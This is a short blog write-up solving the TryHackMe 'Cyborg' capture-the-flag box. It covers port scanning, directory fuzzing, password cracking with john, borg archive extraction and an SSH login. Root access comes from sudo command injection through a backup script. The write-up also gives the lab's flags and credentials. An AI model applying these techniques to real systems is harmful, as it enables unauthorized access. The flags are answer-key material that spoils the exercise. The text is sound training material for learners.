tryhackme easy Linux active

Cyborg Writeup

1 min read

A box involving encrypted archives, source code analysis, and privilege escalation.

image

🧩 Initial Setup

Add the target to /etc/hosts:

echo "<IP> cyborg.thm" | sudo tee -a /etc/hosts

šŸ” Task 1: Scan the Machine

Question

How many ports are open?

Approach

nmap -sV <IP>

Result

Open ports:

  • 22 (SSH)
  • 80 (HTTP)

Answer

2

šŸ” Task 2: Service on Port 22

Question

What service is running on port 22?

Result

  • SSH

Answer

SSH

šŸ” Task 3: Service on Port 80

Question

What service is running on port 80?

Result

  • HTTP

Answer

http

šŸ” Task 4: User Flag

Question

What is the user.txt flag?


Step 1: Directory Enumeration

ffuf -u http://cyborg.thm/FUZZ -w /usr/share/wordlists/dirb/common.txt

Found:

  • /admin
  • /etc

Step 2: Web Exploration

  • /admin → archive file
  • Users found: alex, josh, adam
  • /etc → passwd, squid.conf

Step 3: Password Cracking

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Password:

squidward

Step 4: Extract Archive

tar xf archive.tar

Step 5: Borg Extraction

borg extract /path/to/archive::music_archive

Password:

squidward

Step 6: Credentials

alex:S3cretP@s3

Step 7: SSH Login

ssh alex@<IP>

Answer

flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}

šŸ” Task 5: Root Flag

Question

What is the root.txt flag?


Step 1: Check Sudo

sudo -l

Found:

/etc/mp3backups/backup.sh

Step 2: Exploit

sudo /etc/mp3backups/backup.sh -c "cat /root/root.txt"

Answer

flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}
zer0arc4

zer0arc4

Cybersecurity Student | Penetration Tester | Aspiring Red Teamer

Documenting my journey through cybersecurity, penetration testing, CTFs, research, and tool development.

Related Posts